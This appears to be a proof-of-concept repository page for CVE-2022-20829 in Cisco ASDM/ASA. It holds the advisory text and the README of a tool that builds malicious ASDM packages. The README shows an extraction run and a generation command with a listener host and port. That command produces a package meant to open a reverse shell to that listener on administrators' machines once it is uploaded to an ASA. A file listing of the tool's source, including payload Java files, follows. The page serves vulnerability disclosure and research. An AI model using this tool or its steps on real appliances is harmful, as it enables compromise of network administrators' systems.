CVE-2022-20829 PoC — Cisco Adaptive Security Device Manager and Adaptive Security Appliance Software Client-side Arbitrary Code Execution Vul

Source

Associated Vulnerability

Title:Cisco Adaptive Security Device Manager and Adaptive Security Appliance Software Client-side Arbitrary Code Execution Vulnerability (CVE-2022-20829)
Description:A vulnerability in the packaging of Cisco Adaptive Security Device Manager (ASDM) images and the validation of those images by Cisco Adaptive Security Appliance (ASA) Software could allow an authenticated, remote attacker with administrative privileges to upload an ASDM image that contains malicious code to a device that is running Cisco ASA Software. This vulnerability is due to insufficient validation of the authenticity of an ASDM image during its installation on a device that is running Cisco ASA Software. An attacker could exploit this vulnerability by installing a crafted ASDM image on the device that is running Cisco ASA Software and then waiting for a targeted user to access that device using ASDM. A successful exploit could allow the attacker to execute arbitrary code on the machine of the targeted user with the privileges of that user on that machine. Notes: To successfully exploit this vulnerability, the attacker must have administrative privileges on the device that is running Cisco ASA Software. Potential targets are limited to users who manage the same device that is running Cisco ASA Software using ASDM. Cisco has released and will release software updates that address this vulnerability.

Description

A tool for extracting, modifying, and crafting ASDM binary packages (CVE-2022-20829)

Readme

# The Way

The Way is a tool for unpacking, repacking, and creating malicious Cisco [Adaptive Security Device Manager](https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html) (ASDM) packages. ASDM is the Java-based administrative GUI for Adaptive Security Appliance (ASA) systems (e.g. firewalls and VPNs). The ASDM package is hosted on the ASA and sub-components are downloaded each time an administrator connects to the ASA via ASDM. An attacker that can plant a malicious ASDM package on the ASA can achieve code execution on administrator systems.

The vulnerability is the result of a few issues. Most specifically, malicious ASDM packages are possible due to the lack of package signing by Cisco. An attacker that can craft a proper package and computer a file hash can load arbitrary packages on the ASA. This has been assigned CVE-2022-20829.

A demonstration of exploitation can be found on YouTube here: https://www.youtube.com/watch?v=ydjD7lIR9Bg

## File Extraction Example

```
albinolobster@ubuntu:~/gh_theway/build$ ./theway -ef ~/Desktop/cisco/asdm-7171-152.bin 

                         where were they going without ever knowing
           .              __.....__ 
         .'|          .-''         '.                   _     _     .-.          .- 
     .| <  |         /     .-''"'-.  `.           /\    \\   //      \ \        / /
   .' |_ | |        /     /________\   \          `\\  //\\ //  __    \ \      / /
 .'     || | .'''-. |                  |            \`//  \'/.:--.'.   \ \    / /
'--.  .-'| |/.'''. \\    .-------------'             \|   |// |   \ |   \ \  / /
   |  |  |  /    | | \    '-.____...---.              '     `" __ | |    \ `  /
   |  |  | |     | |  `.             .'                      .'.''| |     \  /
   |  '.'| |     | |    `''-...... -'     jbaines-r7        / /   | |_    / /
   |   / | '.    | '.                   CVE-2022-20829      \ \._,\ '/|`-' /
   `'-'  '---'   '---'                        🦞             `--'  `"  '..'


[+] Loading /home/albinolobster/Desktop/cisco/asdm-7171-152.bin
-> Magic: ASDM IMG7.17(1)152
-> Description: Device Manager Version 7.17(1)152
-> File length: 3116f94
-> File hash: 7a2c62b3f1781655cccbb6cf9914552c
-> Compilation date: Fri, 04 Feb 2022 10:43:43 GMT
-> Manifest Entries: 13
-> Entry: 0
58110500006c0d0014000000
	-> Entry length: 14
	-> Entry file: asdm50-install.msi
	-> Data offset: 51158
	-> Data size: d6c00
-> Entry: 1
f80200003201000014000000
	-> Entry length: 14
	-> Entry file: asdmversion.html
	-> Data offset: 2f8
	-> Data size: 132
-> Entry: 2
2c0400002b0d050010000000
	-> Entry length: 10
	-> Entry file: dm-launcher.dmg
	-> Data offset: 42c
	-> Data size: 50d2b
-> Entry: 3
58110500006c0d0010000000
	-> Entry length: 10
	-> Entry file: dm-launcher.msi
	-> Data offset: 51158
	-> Data size: d6c00
-> Entry: 4
587d1200d6eef80208000000
	-> Entry length: 8
	-> Entry file: pdm.sgz
	-> Data offset: 127d58
	-> Data size: 2f8eed6
-> Entry: 5
306c0b033201000010000000
	-> Entry length: 10
	-> Entry file: pdmversion.html
	-> Data offset: 30b6c30
	-> Data size: 132
-> Entry: 6
646d0b03e70b000014000000
	-> Entry length: 14
	-> Entry file: public/asa-pix.gif
	-> Data offset: 30b6d64
	-> Data size: be7
-> Entry: 7
4c790b038a05000014000000
	-> Entry length: 14
	-> Entry file: public/asdm.jnlp
	-> Data offset: 30b794c
	-> Data size: 58a
-> Entry: 8
d87e0b03a305000014000000
	-> Entry length: 14
	-> Entry file: public/asdm32.gif
	-> Data offset: 30b7ed8
	-> Data size: 5a3
-> Entry: 9
7c840b03b805000014000000
	-> Entry length: 14
	-> Entry file: public/cert.jnlp
	-> Data offset: 30b847c
	-> Data size: 5b8
-> Entry: a
348a0b035d06000014000000
	-> Entry length: 14
	-> Entry file: public/cisco.gif
	-> Data offset: 30b8a34
	-> Data size: 65d
-> Entry: b
94900b03b5bb000018000000
	-> Entry length: 18
	-> Entry file: public/deployJava.js
	-> Data offset: 30b9094
	-> Data size: bbb5
-> Entry: c
4c4c0c03aafa010018000000
	-> Entry length: 18
	-> Entry file: public/dm-launcher.jar
	-> Data offset: 30c4c4c
	-> Data size: 1faaa
-> Entry: d
f8460e03441d000014000000
	-> Entry length: 14
	-> Entry file: public/index.html
	-> Data offset: 30e46f8
	-> Data size: 1d44
-> Entry: e
3c640e03140f010014000000
	-> Entry length: 14
	-> Entry file: public/jploader.jar
	-> Data offset: 30e643c
	-> Data size: 10f14
-> Entry: f
50730f039630000010000000
	-> Entry length: 10
	-> Entry file: public/lzma.jar
	-> Data offset: 30f7350
	-> Data size: 3096
-> Entry: 10
e8a30f0389c5010020000000
	-> Entry length: 20
	-> Entry file: public/retroweaver-rt-2.0.jar
	-> Data offset: 30fa3e8
	-> Data size: 1c589
-> Entry: 11
74691103ad05000014000000
	-> Entry length: 14
	-> Entry file: public/startup.jnlp
	-> Data offset: 3116974
	-> Data size: 5ad
-> Entry: 12
246f11037000000010000000
	-> Entry length: 10
	-> Entry file: version.prop
	-> Data offset: 3116f24
	-> Data size: 70
albinolobster@ubuntu:~/gh_theway/build$ ls -l ./output/
total 51164
-rw-rw-r-- 1 albinolobster albinolobster   879616 Apr 28 11:06 asdm50-install.msi
-rw-rw-r-- 1 albinolobster albinolobster      306 Apr 28 11:06 asdmversion.html
-rw-rw-r-- 1 albinolobster albinolobster   331051 Apr 28 11:06 dm-launcher.dmg
-rw-rw-r-- 1 albinolobster albinolobster   879616 Apr 28 11:06 dm-launcher.msi
-rw-rw-r-- 1 albinolobster albinolobster 49868502 Apr 28 11:06 pdm.sgz
-rw-rw-r-- 1 albinolobster albinolobster      306 Apr 28 11:06 pdmversion.html
-rw-rw-r-- 1 albinolobster albinolobster     3047 Apr 28 11:06 public%asa-pix.gif
-rw-rw-r-- 1 albinolobster albinolobster     1443 Apr 28 11:06 public%asdm32.gif
-rw-rw-r-- 1 albinolobster albinolobster     1418 Apr 28 11:06 public%asdm.jnlp
-rw-rw-r-- 1 albinolobster albinolobster     1464 Apr 28 11:06 public%cert.jnlp
-rw-rw-r-- 1 albinolobster albinolobster     1629 Apr 28 11:06 public%cisco.gif
-rw-rw-r-- 1 albinolobster albinolobster    48053 Apr 28 11:06 public%deployJava.js
-rw-rw-r-- 1 albinolobster albinolobster   129706 Apr 28 11:06 public%dm-launcher.jar
-rw-rw-r-- 1 albinolobster albinolobster     7492 Apr 28 11:06 public%index.html
-rw-rw-r-- 1 albinolobster albinolobster    69396 Apr 28 11:06 public%jploader.jar
-rw-rw-r-- 1 albinolobster albinolobster    12438 Apr 28 11:06 public%lzma.jar
-rw-rw-r-- 1 albinolobster albinolobster   116105 Apr 28 11:06 public%retroweaver-rt-2.0.jar
-rw-rw-r-- 1 albinolobster albinolobster     1453 Apr 28 11:06 public%startup.jnlp
-rw-rw-r-- 1 albinolobster albinolobster      112 Apr 28 11:06 version.prop
```

## Malicious Package Generation

The following generates a malicious ASDM package that, when uploaded to an ASA, will generate a reverse shell when an ASDM client connects to the ASA.

```
albinolobster@ubuntu:~/theway/bu$ ./theway -g --lhost 10.9.49.248 --lport 1270

                         where were they going without ever knowing
           .              __.....__ 
         .'|          .-''         '.                   _     _     .-.          .- 
     .| <  |         /     .-''"'-.  `.           /\    \\   //      \ \        / /
   .' |_ | |        /     /________\   \          `\\  //\\ //  __    \ \      / /
 .'     || | .'''-. |                  |            \`//  \'/.:--.'.   \ \    / /
'--.  .-'| |/.'''. \\    .-------------'             \|   |// |   \ |   \ \  / /
   |  |  |  /    | | \    '-.____...---.              '     `" __ | |    \ `  /
   |  |  | |     | |  `.             .'                      .'.''| |     \  /
   |  '.'| |     | |    `''-...... -'     jbaines-r7        / /   | |_    / /
   |   / | '.    | '.                   CVE-2022-20829      \ \._,\ '/|`-' /
   `'-'  '---'   '---'                        🦞             `--'  `"  '..'

[+] Compiling Payload using `javac PDMApplet.java SgzApplet.java`
[+] Creating JAR entries
[+] Compressing jar entries with `lzma -z jars`
[+] Adding sgz wrapper
[+] Flushing the pdm.sgz to disk
-> Sizeof manifest entry c
-> Files to package 
	-> asdm50-install.msi
14
asdm50-install.msi
	-> asdmversion.html
14
asdmversion.html
	-> dm-launcher.dmg
10
dm-launcher.dmg
	-> dm-launcher.msi
10
dm-launcher.msi
	-> pdm.sgz
8
pdm.sgz
	-> pdmversion.html
10
pdmversion.html
	-> public/asa-pix.gif
14
public/asa-pix.gif
	-> public/asdm.jnlp
14
public/asdm.jnlp
	-> public/asdm32.gif
14
public/asdm32.gif
	-> public/cert.jnlp
14
public/cert.jnlp
	-> public/cisco.gif
14
public/cisco.gif
	-> public/deployJava.js
18
public/deployJava.js
	-> public/dm-launcher.jar
18
public/dm-launcher.jar
	-> public/index.html
14
public/index.html
	-> public/jploader.jar
14
public/jploader.jar
	-> public/lzma.jar
10
public/lzma.jar
	-> public/retroweaver-rt-2.0.jar
20
public/retroweaver-rt-2.0.jar
	-> public/startup.jnlp
14
public/startup.jnlp
	-> version.prop
10
version.prop
-> Entries size: 254
	->Offset (asdm50-install.msi) (2f8 -> 2fc)
	->Offset (asdmversion.html) (2f8 -> 2fc)
	->Offset (dm-launcher.dmg) (2fc -> 300)
	->Offset (dm-launcher.msi) (300 -> 304)
	->Offset (pdm.sgz) (304 -> 7ed)
	->Offset (pdmversion.html) (7f0 -> 7f4)
	->Offset (public/asa-pix.gif) (7f4 -> 7f8)
	->Offset (public/asdm.jnlp) (7f8 -> 7fc)
	->Offset (public/asdm32.gif) (7fc -> 800)
	->Offset (public/cert.jnlp) (800 -> 804)
	->Offset (public/cisco.gif) (804 -> 808)
	->Offset (public/deployJava.js) (808 -> 80c)
	->Offset (public/dm-launcher.jar) (80c -> 810)
	->Offset (public/index.html) (810 -> 814)
	->Offset (public/jploader.jar) (814 -> 818)
	->Offset (public/lzma.jar) (818 -> 81c)
	->Offset (public/retroweaver-rt-2.0.jar) (81c -> 820)
	->Offset (public/startup.jnlp) (820 -> 824)
	->Offset (version.prop) (824 -> 891)
c1b7190c7426b2b72a6862c09cc19152

```

The Way will generate "test.final.bin", which can then be uploaded to the ASA.


## Credit

* [Malcolm Lashley](https://gist.github.com/mlashley/7d2c16e91fe37c9ab3b2352615540025): CVE-2021-1585
* [Fastball](https://www.youtube.com/watch?v=X5jlTlUTWfQ)

File Snapshot


 [4.0K]  /data/pocs/75a099e6c12cd8634a4022a17ae3f5c46523b7ae
├── [ 582]  CMakeLists.txt
├── [ 803]  compute_hash.py
├── [1.5K]  LICENSE
├── [4.0K]  payload
│   ├── [2.0K]  PDMApplet_jjs.java
│   └── [  73]  SgzApplet.java
├── [9.7K]  README.md
└── [4.0K]  src
    ├── [4.3K]  extract.cpp
    ├── [ 143]  extract.hpp
    ├── [5.4K]  generate.cpp
    ├── [ 179]  generate.hpp
    ├── [4.3K]  main.cpp
    ├── [ 73K]  popl.hpp
    ├── [7.2K]  repackage.cpp
    ├── [ 149]  repackage.hpp
    ├── [1.3K]  util.cpp
    └── [ 204]  util.hpp

2 directories, 16 files

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